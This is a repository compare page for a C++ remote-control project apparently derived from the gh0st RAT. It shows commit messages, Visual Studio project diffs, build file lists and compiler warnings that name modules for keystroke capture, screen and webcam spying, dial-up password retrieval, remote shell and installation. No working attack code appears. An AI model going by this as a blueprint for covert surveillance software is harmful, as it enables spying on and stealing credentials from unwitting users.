Compare commits

..

15 Commits

Author SHA1 Message Date
ChangCheng
3d3b2ce49a 更新代码,完成了服务端与控制端的窗口数据通讯 2020-05-30 18:38:58 +08:00
ChangCheng
cd670fdaed 添加部分图标 2020-05-30 17:21:56 +08:00
ChangCheng
2cee9bb467 添加了服务端遍历窗口数据的代码与注释 2020-05-30 16:36:31 +08:00
ChangCheng
c95afb225a 解决了进程遍历的多进程同路径导致控制端显示路径与进程对不上的问题 2020-05-29 13:16:43 +08:00
changcheng
5261d32d51 增加了服务与控制端的进程控制交互,能够结束进程 2020-05-29 00:16:25 +08:00
ChangCheng
2349891948 增加了框架xmind流程图,方便理解 2020-05-28 18:37:25 +08:00
changcheng
4bd0451420 更新了控制端进程窗口界面 2020-05-28 00:02:47 +08:00
changcheng
ef7c96720c 服务端遍历进程代码进行查看分析,添加部分注释 2020-05-26 23:20:50 +08:00
changcheng
d38532055a 添加了cmd终端控制功能,服务端控制端可交互,解决的显示连接数的bug 2020-05-25 20:02:57 +08:00
ChangCheng
d396e8777e 解决了在缺少运行时库XXX.DLL的电脑上运行的问题 2020-05-23 16:15:44 +08:00
ChangCheng
1bc9a890b1 增加了控制端的一些代码,获取一些服务端的数据显示在列表中 2020-05-23 15:04:28 +08:00
changcheng
2fe1905f47 添加了test工程,加载dll与控制端进行通信,解决了一些bug 2020-05-23 00:51:31 +08:00
ChangCheng
3b5ea5b85d 修改了环境设置,使 relesr and debug 版本编译都得到了通过 2020-05-22 10:23:26 +08:00
changcheng
e1bbb1530f 修改添加了ghost服务端的主要代码,relese版本环境编译通过 2020-05-22 00:56:51 +08:00
ChangCheng
6a882cb6f4 添加了一些注释和调整一些代码,变化不大 2020-05-21 18:33:18 +08:00
82 changed files with 2843 additions and 189 deletions

Binary file not shown.

View File

@@ -5,6 +5,8 @@ VisualStudioVersion = 15.0.28307.1082
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMainDll.vcxproj", "{912043E1-526F-4C23-AF8B-0D76C07F5723}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -21,6 +23,14 @@ Global
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.Build.0 = Release|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.ActiveCfg = Release|Win32
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.Build.0 = Release|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.ActiveCfg = Debug|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.Build.0 = Debug|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.ActiveCfg = Debug|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.Build.0 = Debug|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.ActiveCfg = Release|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@@ -72,12 +72,14 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
@@ -89,16 +91,18 @@
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -129,9 +133,10 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -139,8 +144,8 @@
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -167,29 +172,112 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="ClientSocket.h" />
<ClInclude Include="common\AudioManager.h" />
<ClInclude Include="common\Buffer.h" />
<ClInclude Include="common\Dialupass.h" />
<ClInclude Include="common\filemanager.h" />
<ClInclude Include="common\install.h" />
<ClInclude Include="common\KernelManager.h" />
<ClInclude Include="common\KeyboardManager.h" />
<ClInclude Include="common\Manager.h" />
<ClInclude Include="common\RegEditEx.h" />
<ClInclude Include="common\ScreenManager.h" />
<ClInclude Include="common\ScreenSpy.h" />
<ClInclude Include="common\ShellManager.h" />
<ClInclude Include="common\SystemManager.h" />
<ClInclude Include="common\until.h" />
<ClInclude Include="common\VideoCap.h" />
<ClInclude Include="common\VideoManager.h" />
<ClInclude Include="DynamicAPI.h" />
<ClInclude Include="framework.h" />
<ClInclude Include="pch.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="ClientSocket.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\AudioManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\Buffer.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\Dialupass.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\FileManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="common\install.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\KernelManager.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\KeyboardManager.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\Manager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegEditEx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenSpy.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ShellManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\SystemManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\until.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\VideoCap.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\VideoManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>

View File

@@ -30,6 +30,54 @@
<ClInclude Include="ClientSocket.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\KernelManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\KeyboardManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegEditEx.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Manager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\SystemManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\AudioManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Dialupass.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\filemanager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ScreenManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ShellManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ScreenSpy.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\VideoManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\VideoCap.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="DynamicAPI.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\install.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
@@ -47,5 +95,50 @@
<ClCompile Include="common\until.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\KeyboardManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegEditEx.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\SystemManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\AudioManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Dialupass.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\FileManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ShellManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ScreenSpy.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\VideoManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\VideoCap.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\install.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\KernelManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Manager.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -1,4 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand> ..\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>..\\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

View File

@@ -526,8 +526,8 @@ void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTST
lstrcpy(m_strProxyHost, lpszProxyHost);
m_nProxyPort = nProxyPort;
if (m_strUserName != NULL)
if (lpszUserName != NULL)
lstrcpy(m_strUserName, lpszUserName);
if (m_strPassWord != NULL)
if (lpszPassWord != NULL)
lstrcpy(m_strPassWord, lpszPassWord);
}

View File

@@ -1,14 +1,33 @@
f:\myapp\ccremote\bin\server\ccmaindll.lib
f:\myapp\ccremote\bin\server\ccmaindll.exp
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.ilk
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb
f:\myapp\ccremote\bin\server\ccmaindll.ilk
f:\myapp\ccremote\bin\server\ccmaindll.dll
f:\myapp\ccremote\bin\server\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog

View File

@@ -1,14 +1,20 @@
 pch.cpp
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
@@ -18,5 +24,85 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'Get
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
正在生成代码...
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
AudioManager.cpp
Dialupass.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
install.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
Manager.cpp
RegEditEx.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
